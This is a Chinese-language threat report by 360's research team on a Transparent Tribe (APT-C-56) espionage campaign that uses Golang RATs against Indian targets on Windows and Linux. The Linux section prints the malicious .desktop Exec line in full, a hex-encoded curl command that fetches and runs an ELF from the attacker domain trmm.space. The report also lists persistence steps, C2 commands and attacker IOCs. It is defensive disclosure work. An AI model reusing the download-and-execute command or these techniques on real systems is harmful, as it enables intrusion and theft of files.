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APT-C-56

  透明部落

APT-C-56（透明部落）组织，又称APT36、ProjectM、C-Major，是一个源自南亚的高级持续性威胁组织。该组织的主
要活动区域集中于印度及其周边国家，精通社会工程学，擅长实施针对性极强的鱼叉式网络攻击，并且具备多样化的攻
击载荷能力和跨平台攻击技术。

 一、概述 析 

近期，360高级威胁团队发现透明部落组织针对Windows和Linux系统发起无差别攻击，其攻击手段具有针对性且隐蔽
性较强。在Windows环境中，攻击者以.ppam文件为载体，通过内嵌宏代码下载恶意载荷，进而触发复杂多阶段攻击
链，最终实现窃密目的；而在Linux环境中，攻击者则利用桌面应用程序分发恶意载荷，通过将文件名伪装
为.pdf.desktop后缀诱导用户执行，从而完成攻击入侵。

值得注意的是，在此轮攻击中，攻击者采用的恶意载荷已发生显著变化：Windows平台不再使用常见的CrimsonRAT；
Linux平台也摒弃了以往的波塞冬（Poseidon）组件，转而部署了一种新型RAT，该新型RAT都使用Golang进行开发，
并具有一定的代码相关性。由于该RAT在历史攻击活动中较为罕见，特此进行详细分析说明，以提升用户安全防范意识
并避免潜在威胁。

 二、攻击活动分析 

1. 攻击流程分析

在本轮攻击中，透明部落组织针对Linux平台的攻击载体采用了.desktop文件，并使用具有诱惑性的文件名进行伪装，
如Def_Sec_Briefings_Schedule.pdf.desktop，诱导用户在Linux环境中执行ELF样本，运行后该文件会下载并打开伪装
文档，同时也会下载并执行后续的攻击载荷，以完成窃密行为。

在Windows平台攻击活动中，攻击者采用.ppam格式文档作为恶意载体，并通过精心设计的文件名实施社会工程学诱
导，文件名包括"Jammu Kashmir Police Letter Dated 31July.ppam" 及"Sexual-Harassment-Case-in-Ministry-of-

Water-Board.ppam"等。当用户执行该文档后，内嵌的宏代码将被触发，进而从远程服务器下载受密码保护的ZIP压缩
包，该防护机制旨在规避安全软件的静态检测。随后，宏代码会通过硬编码方式提供解压密码，完成压缩包解密后加载
远程控制程序，最终实现数据窃取等恶意行为。

整个攻击流程如下图所示：
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2. Linux攻击样本

2.1）恶意载荷分析

近期我们捕获多个恶意ELF文件，但是功能都大同小异，现以其中一个ELF文件分析，该文件基本信息如下：

MD5 e1b4572ea0780c963043819016f4c7a8

文件名称 Def_Sec_Briefings_Schedule.pdf.desktop

文件大小 691bytes(691字节)

攻击者通过投递.desktop文件展开攻击，该类型的文件是Linux桌面环境中用于定义应用程序启动器的文件格式，可以
视为Linux系统中的快捷文件。

其中“Exec”表示需要执行的命令和参数。“Exec”键的内容如下，将变量a,b,c十六进制解密依次
为“https[:]//trmm.space/SoftsCompany/d/27/clipboard.txt”，“firefox”，“https[:]//drive.google.com/file/d/1C-

PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing”，然后利用curl从
https[:]//trmm.space/SoftsCompany/d/27/clipboard.txt下载文件到临时目录，名字
以“Def_Sec_Briefings_Schedule.pdf-”开头，这个文件是一个ELF可执行文件，然后赋予可执行权限，并执行。

f="/tmp/Def_Sec_Briefings_Schedule.pdf-$(date +%s)";

a="68747470733a2f2f74726d6d2e73706163652f536f667473436f6d70616e792f642f32372f636c6970626f6172642e747874";

b="66697265666f78";

c="68747470733a2f2f64726976652e676f6f676c652e636f6d2f66696c652f642f31432d50483745454f687635676a597a4b6e737a5f4b4

curl -s "$(echo $a|xxd -r -p)" | xxd -r -p > "$f" && chmod +x "$f" && "$f" & "$(echo $b|xxd -r -p)" --new-window "$(echo $c|xxd -r -p)" &

第二步使用浏览器打开https[:]//drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?

usp=sharing。这是一份PDF文件，这份PDF文件是一个伪装文档，其主要内容是为印度国防部长指定人员准备的简报
和访问计划。
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2.2）恶意组件分析

MD5 aff4b4f121aba5046f781fc6aafe8de2

文件名称 Def_Sec_Briefings_Schedule.pdf-

文件大小 7.80MB(8,187,904字节)

Def_Sec_Briefings_Schedule.pdf-是一个Golang开发的ELF后门程序，其主要功能如下：
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首先，这个ELF后门会收集受害者机器的“username”、“hostname”、“pid”以及“ppid”信息。

接着读取当前进程的执行文件路径，然后通过判断/userHomeDir/.config/systemd服务配置目录是否存在，从而获取可
执行文件相关的配置信息，判断出该Golang后门是否被可持久化。

如果没有持久化，就通过写入Linux系统服务配置文件，并添加计划任务以实现驻留。

然后通过对http[:]//solarwindturbine.site:4000/health发送Get请求。查看响应编码是否为200,从而测试C2服务器是否能
正常通联。如果通联正常，则会进行后续远控功能。
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目前该远控工具支持两种类型的远控操作：命令执行、文件窃取。

命令执行：首先从C2服务器中获取需要执行的指令，然后执行这些指令，并将结果返回。

这些命令可以分为三类，第一类是“Browse”，功能是读取指定的目录信息。

第二类是“Upload”，功能是读取并上传文件内容。

第三类是“Execute”，功能是执行指定的命令。

除此以外，还控制了“ENABLE_DATA_COLLECTION”收集数据开关。如果该开关打开，意味着会收集特定文件类型的
文件。
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文件窃密：首先判断是否启用数据收集功能，如果启用数据收集，则上传文件后缀
为“.pdf”、“.doc”、“.xls”、“.ppt”、“.txt”、“.zip”、“.rar”的文件。

3. Windows攻击样本

3.1）恶意载荷分析

其中一个ppam文档样本信息如下所示：

MD5 5a25a5fc22f2adfe42ac493fd3757f6f

文件大小 22.34KB(22,879bytes)

文件格式 ppam

文件名 Jammu Kashmir Police Letter Dated 03 August 2025.ppam

该文档内嵌了恶意宏代码，打开该文件允许宏执行后，首先利用ProgressForm用户窗体伪装成合法进度条，显示虚假
状态（如"Loading file is opening..."）以降低用户警惕，然后下载诱饵文档和恶意载荷。

其中DownloadAndOpenPPTWithProgress函数主要功能是从硬编码URL（如
https[:]//trmm.space/SoftsCompany/d/23/Jammu-and-Kashmir-Police-Letter-Targeting-Illegal-and-Terror-Linked-

Persons）下载PPTX文件至临时目录，通过PowerPoint.Application组件打开。

6/12



打开的诱饵文档如下所示：

DownloadAndExecuteFromZip函数功能从另一URL（如https[:]//trmm.space/SoftsCompany/d/25/ProxifierSetup ）下
载受密码保护（密码为"DefenceIndia2025"）的ZIP文件，利用WinRAR静默解压（x -p -y -ibck参数）至临时目录，然
后通过Shell隐藏运行EXE文件。
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3.2）恶意组件分析

通过恶意宏代码下载的PE文件信息如下：

MD5 ab6022bde19d8495c56812ef5d1c6186

文件名称 ProxifierSetup.exe

文件大小 27.6MB(28,947,968字节)

该文件是个Golang后门程序，运行后首先会从配置信息中获取C2服务器地址和备用IP地址。

进入主函数后，进行环境检测以判断当前是否处于分析系统，主要检测虚拟环境、沙箱环境、反调试以及时间检测。

环境检测，首先获取当前时间，然后经过复杂的数学计算，得到计算时间差，如果时间差大于5秒，说明处于分析或者
调试环境中。
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经过环境检测之后，将当前进程文件复制到%ProgramData%目录下，然后设置系统和隐藏属性，最后将新路径写入到
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run注册表中实现持久化。

接着通过TCP协议连接C2服务器地址。

然后获取受害者机器上的相关数据，例如UltraClientID、hostname、username、内置安全软件名称、公网IP、地理位
置等信息，将其加密发送给服务端。

最后执行C2服务器下发的指令，一共支持三类指令，分别是“LIST”、“UPLOAD”、“DOWNLOAD”。LIST指令用于列举
文件信息；UPLOAD指令上传文件信息；DOWNLOAD指令用于收集文件信息。
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DOWNLOAD指令收集的文件类型有“.pdf”、“.doc”、“.docx”、“.xls”、“.xlsx”、“.txt”、“.zip”、“.rar”和“.7z”。

 三、归属研判 

通过对本次攻击活动的相关信息进行深入分析，我们认为此类攻击活动符合透明部落组织以往的TTP，具体表现有以下
几方面：

1. 本次Windows上攻击流程与透明部落组织的以往攻击流程有很大的相似性[1]，都是通过内嵌恶意宏代码的ppam

文档加载后续PE文件，只是本次加载的PE文件是从远端下载，之前的PE文件是通过嵌入对象进行释放，其流程
大同小异，而且也都使用了密码，防止落地被查杀。

2. 本次Linux下使用的桌面启动文件与透明部落组织之前的攻击样本类似[2]，都是伪装成.pdf.desktop 后缀诱导用户
执行，并且该desktop文件功能类似，都是下载并打开诱饵文件以及下载执行ELF恶意样本，只是最终加载的ELF

样本类似有所区别。除此之外，都使用了谷歌云端硬盘下载后续伪装内容，这也跟以往透明部落组织的攻击活动
一致。

3. 透明部落组织在本轮攻击中针对Windows和Linux双平台展开行动，多次利用相同域名（trmm.space）下载诱饵
文档及部分载荷，且两平台的攻击载荷均采用Golang编译，代码层面存在一定相似性，并表现出较强的免杀能
力；这一手法符合该组织的历史攻击特征，其在过往攻击事件中也曾多次使用Golang编译的载荷。

4. 攻击者使用的伪装内容以及文件名，再结合部分样本上传地址为印度，都符合该组织攻击目标。

综上，我们将其归纳到APT-C-56（透明部落）组织。

总结

APT-C-56（透明部落）组织近年来攻击活动呈现高度活跃态势，其攻击武器库不断扩充升级，已涵盖CrimsonRAT、
Poseidon组件、DISGOMOJI木马等多种恶意组件，攻击能力覆盖Windows与Linux等多平台体系，且攻击组件持续迭
代更新，充分表明该组织具备强大的经济实力与技术研发能力，对攻击目标实施不惜成本的定向渗透。
在本轮攻击行动中，该组织采用双平台协同攻击策略，同时针对Windows和Linux系统发起渗透以实施窃密活动，值得
注意的是，此次攻击中部署的载荷均为全新开发的远控程序，具备完整的远程控制功能模块，展现出更隐蔽、更强大的
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攻击能力。因此无论在任何操作系统环境下，用户都应对来源不明的文件保持高度警惕，避免随意执行可疑文件，否则
极易导致核心机密数据与敏感情报外泄，造成不可挽回的安全损失。

附录 IOC

MD5(Linux)

e1b4572ea0780c963043819016f4c7a8

aff4b4f121aba5046f781fc6aafe8de2

10b7139952e3daae8f9d7ee407696ccf

311f9894297fb1624a2c99ac5c8d8abf

1ded71930d997de43a68e098d232e2e5

3d272caf8bd0342550d65a425ef86f4d

a484f85d132609a4a6b5ed65ece7d331

ed923d191cc1f60b189b8356fdbf64d8

MD5(Windows)

5a25a5fc22f2adfe42ac493fd3757f6f

ab6022bde19d8495c56812ef5d1c6186

55c020ba4045b92622bf0e0a43b3ca9d

7405ce819ef85fd219c6a204b48cdae1

9fceef2d082a1df7779f5a09311c9a76

abd95f897f392b19873d5fb0c7df8316

C&C

sinjita[.]store

modindia.serveminecraft[.]net

45.155.54[.]28:8080

101.99.94[.]109:8080

45.155.54[.]122:8080

URL 

https[:]//trmm[.]space/SoftsCompany/d/27/clipboard.txt

http[:]//solarwindturbine[.]site:4000/commands

https[:]//trmm[.]space/SoftsCompany/d/25/ProxifierSetup

https[:]//securestore[.]cv/ghg/Mt_dated_29.txt

http[:]//modgovindia[.]space:4000/commands

https[:]//drive.google[.]com/uc?export=download&id=1Umc8DCCFjoclts_tndD1zyAJgDilAW7p

https[:]//drive.google[.]com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-

http[:]//seemysitelive[.]store:8080/ws
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https[:]//filestore[.]space/SoftsCompany/d/76/CCleaner

参考

[1]https://mp.weixin.qq.com/s/8zpPPl6JIXqa4QEpiKC5GQ

[2]https://mp.weixin.qq.com/s/FT7xvyGdk-WaB9nfYWPMUg

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

360高级威胁研究院是360政企安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防
御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国
家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。

当前内容可能存在未经审核的第三方商业营销信息，请确认是否继续访问。

可在「公众号 > 右上角 > 划线」找到划线过的内容
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